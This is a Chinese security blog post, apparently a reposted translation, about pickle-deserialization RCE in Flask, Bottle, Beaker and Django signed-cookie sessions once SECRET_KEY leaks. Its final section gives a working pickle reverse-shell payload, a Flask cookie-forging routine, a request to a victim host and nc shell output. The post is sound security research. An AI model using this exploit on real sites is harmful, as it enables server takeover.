對於Python的架構中一些會話程式的管理

來源:互聯網
上載者:User
Django, Bottle, Flask,等所有的python web架構都需要配置一個SECRET_KEY。文檔通常推薦我們使用隨機的值,但我很難發現他有任何文字說明,因為這樣容易被破解(本地攻擊或者文本閱讀在web app中更容易受攻擊)。攻擊者可以使用SECRET_KEY偽造cookies,csrf token然後使用管理員工具。不過這很難做到,不過他可以搞一些小破壞,比如執行惡意代碼。這也是我下面將要介紹的。

記得以前使用PHP找到一個可以讀伺服器上任意檔案的bug(不包含本地檔案),你將會被迫選擇遠程執行代碼(RCE)。你就需要審查大部分的app資源檔來找到其他的bugs或者有用的資訊(比如說使用者密碼,或者資料庫資訊等)。在這個情況下,我們能說PHP是更安全的嗎?
在攻擊一個Python網站架構的時候,知道你設定的SECRET_KEY欄位的攻擊者,能夠簡單的將LFR攻擊升級到RCE攻擊。我(作者)是從攻擊一系列的網站架構之後得出如上結論的。在這些網站架構中,都有雷同的,使用Pickle作為將經過簽名的Cookie序列化的方式。

Flask架構中,Flask在config['SECRET_KEY']被賦予某個值,session_cookie_name(default='session')存在於cookie中的時候,將Cookie還原序列化,甚至在沒有session的情況下。(這樣多麼好,攻擊者可以僅僅通過向config file添加SECRET_KEY的方式製造後門,並且,天真的使用者將認為這非常'重要')

從 werkzeug library 裡面提取出來的反序列方法是這樣的:

def unserialize(cls, string, secret_key):    if isinstance(string, unicode):      string = string.encode('utf-8', 'replace')    try:      base64_hash, data = string.split('?', 1)    except (ValueError, IndexError):      items = ()    else:      items = {}      mac = hmac(secret_key, None, cls.hash_method)      # -- snip ---      try:        client_hash = base64_hash.decode('base64')      except Exception:        items = client_hash = None      if items is not None and safe_str_cmp(client_hash, mac.digest()):        try:          for key, value in items.iteritems():            items[key] = cls.unquote(value)        except UnquoteError:          # -- snip --      else:        items = ()    return cls(items, secret_key, False)

反序列方法檢查簽名,然後在簽名正確的情況下unquote()cookie的值。unquote()方法看起來非常無辜,但是事實上,這是一個預設的pickle.

#: the module used for serialization. Unless overriden by subclasses#: the standard pickle module is used.serialization_method = pickledef unquote(cls, value):  # -- snip --    if cls.quote_base64:      value = value.decode('base64')    if cls.serialization_method is not None:      value = cls.serialization_method.loads(value)    return value  # -- snip --

Bottle: 在預設的bottle設定中時沒有真正的secret key的,但是也許有人想要用signed cookie的功能來加密他自己的cookie.

讓我們來看看代碼是怎麼樣的:

def get_cookie(self, key, default=None, secret=None):  value = self.cookies.get(key)  if secret and value:    dec = cookie_decode(value, secret) # (key, value) tuple or None    return dec[1] if dec and dec[0] == key else default  return value or default

當這個密鑰被展現出來的時候,並且在cookie中還有其他數值的時候,cookie_decode 方法被調用:

def cookie_decode(data, key):  data = tob(data)  if cookie_is_encoded(data):    sig, msg = data.split(tob('?'), 1)    if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg).digest())):      return pickle.loads(base64.b64decode(msg))  return None

再次,我們看到了Pickle !

Beaker 的session:(任何服務都可以在session上使用beaker的中介軟體,bottle架構甚至推薦這麼做) Beaker.Session 具有很多功能,並且這可能被混淆: 這裡面有三個密鑰 secret_key, validate_key, encrypted_key)

encrypt_key: 加密cookie資訊,然後要麼向用戶端發送(session.type="cookie"/Cookie mode),要麼在(session.type="file"/File mode)中儲存。如果沒有設定encrypt_key,那麼cookie不會被加密,只會被base64編碼。當有encrypt_key的時候,cookie會被用encrypted_key, validate_key(可選)和一個隨機值用AES方法加密。
validate_key: 用來給加密的cookie簽名
secret:在用File mode時候給cookie簽名(我不知道為什麼他們不就用一個validate_key就好了!)

當然,當有人對檔案擁有讀的許可權的時候,他/她理所當然知道所有的欄位。然而,File mode使得攻擊不得能因為我們對已經序列化的資料並沒有控制權,例如,當這些資料儲存在本地硬碟上的時候。在Cookie mode,攻擊就能夠成立,即便cookie被編碼了(因為我們知道怎麼encrypt,哈哈)。你也許會問,那個隨機參數是不可知的,你們沒辦法攻擊,幸運的是這個隨機參數也是cookie存數的session資料的一部分,因此,我們可以將其替代為任何我們需要的值。

下面是他們構造session資料的代碼


def _encrypt_data(self, session_data=None):   """Serialize, encipher, and base64 the session dict"""   session_data = session_data or self.copy()   if self.encrypt_key:     nonce = b64encode(os.urandom(6))[:8]     encrypt_key = crypto.generateCryptoKeys(self.encrypt_key,                     self.validate_key + nonce, 1)     data = util.pickle.dumps(session_data, 2)     return nonce + b64encode(crypto.aesEncrypt(data, encrypt_key))   else:     data = util.pickle.dumps(session_data, 2)     return b64encode(data)

我們明顯的看到這些資料的處理存在風險。


Django: 最知名也是在Python語言中最複雜的一個伺服器架構。而且,沒錯,Django的開發人員們在Cookie Session上放置了一個蠻不錯的警告。以我之鄙見,這個警告不夠,而應該被替換成'致命'或者是'警示',並且標上紅色。

Django的Session是咋麼工作的呢?我們能夠從Django的文檔中輕易的找到可閱讀的答案:總而言之,Django給了session 3個可以設定的項目:db,file以及signed_cookie。再一次,我們只對signed_cookie產生興趣,因為我們可以輕鬆的改變它。如果SESSION_ENGINE被設定為“django.contrib.sessions.backends.signed_cookies“,我們就確定signed_cookie是背用於session的管理。

有趣的是,如果我們在request cookie裡面構造一個sessionid,它總是會被還原序列化。Django也給了我們一個cookie是如何被簽名的好執行個體。這讓我們的工作輕鬆多了。


我們的攻擊

我們還沒有討論我們如何攻擊(有些你可能已經知道了)!感謝您的耐心看到最後,我寫它在最後是因為攻擊手段充滿共性,而且簡單(是的,原則性的知識)。

在這裡,我們可以讀取任何檔案。要找到Python應用程式的設定檔並不難,因為到處有匯入(import)。當我們獲得的密鑰時,我們可以簡單的實現(或重複使用)簽署web架構的cookie,並使用我們的惡意代碼。 因為它們使用的是pickle.loads()還原序列化的時候,我們的使用pickle.dumps()儲存惡意代碼。

piclke.dump()和loads()通常在處理整數,字串,數列,雜湊,字典類型的時候是安全的....但是他在處理一些惡意構造的資料類型的時候就不安全了!事實上,攻擊者可以通過構造的資料類型來達到執行任意Python代碼的目的。我寫了一段不錯的小程式來吧Python代碼轉換成Pickle序列化的對象。我們應該從connback.py開始閱讀(這實際上是一個反向連結的shell),然後我們將誘使對方網站來用Pickle方法將其序列化。如果有人執行了pickle.loads(payload),那麼我們的反向連結shell就會被啟用。

code = b64(open('connback.py').read())class ex(object):  def __reduce__(self):    return ( eval, ('str(eval(compile("%s".decode("base64"),"q","exec"))).strip("None")'%(code),) )payload = pickle.dumps(ex())

現在我們簽名(適用於flask web架構):

def send_flask(key, payload):  data = 'id='+b64(payload)  mac = b64(hmac(key, '|'+data, hashlib.sha1).digest())  s = '%(sig)s?%(data)s' % {'sig':mac, 'data':data}

然後發送

print requests.get('http://victim/', cookies={'session':s})

在另外一個終端裡:

danghvu@thebeast:~$ nc -lvvv 1337Connection from x.x.x.x port 1337 [tcp/*] accepted!P0Wn! Congratulation !!sh: no job control in this shellsh-4.1$ 

還有啥?

-所以怎樣?只要你不知道我的secret_key我就是安全的!可以啊,你可以這樣....但是和宣稱:"我把我的鑰匙放在房頂上,我知道你爬不上來..."沒啥區別。

-好的, 所以如果我不用這種session cookie,我就安全了!沒錯,在小型的web app上,將session 儲存在檔案裡面更安全(如果放在DB裡面,我們還面臨SQL Injection的危險)。但是如果是大型web app,然後你有個分布式的儲存方式,這將導致嚴重的效率問題。

-那咋辦?也許我們應該讓那些web架構不要用piclke來序列化?我不知道是否存在這種架構,如果有的話就好了。PHP更安全嗎?事實上不是如此

最後:

Web.Py,當我查看他們的web session文檔的時候我發現:CookieHandler – DANGEROUS, UNSECURE, EXPERIMENTAL

所以,幹得好:D ,也許所有人都應該這樣做。你們應該去試試web.py和其他架構。

我做了這些,如果你想要讓它奏效你也可以花點時間上去。

作為一個禮物,這個網站是有這個漏洞的,讓我們看看你們是不是能夠把lfr bug升級成為一個rce,然後你們會找到真正的禮物:一個flag...

更新:有漏洞的網站的源碼放在github上了,它的secret_key已經不一樣了。

  • 聯繫我們

    該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

    如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

    A Free Trial That Lets You Build Big!

    Start building with 50+ products and up to 12 months usage for Elastic Compute Service

    • Sales Support

      1 on 1 presale consultation

    • After-Sales Support

      24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.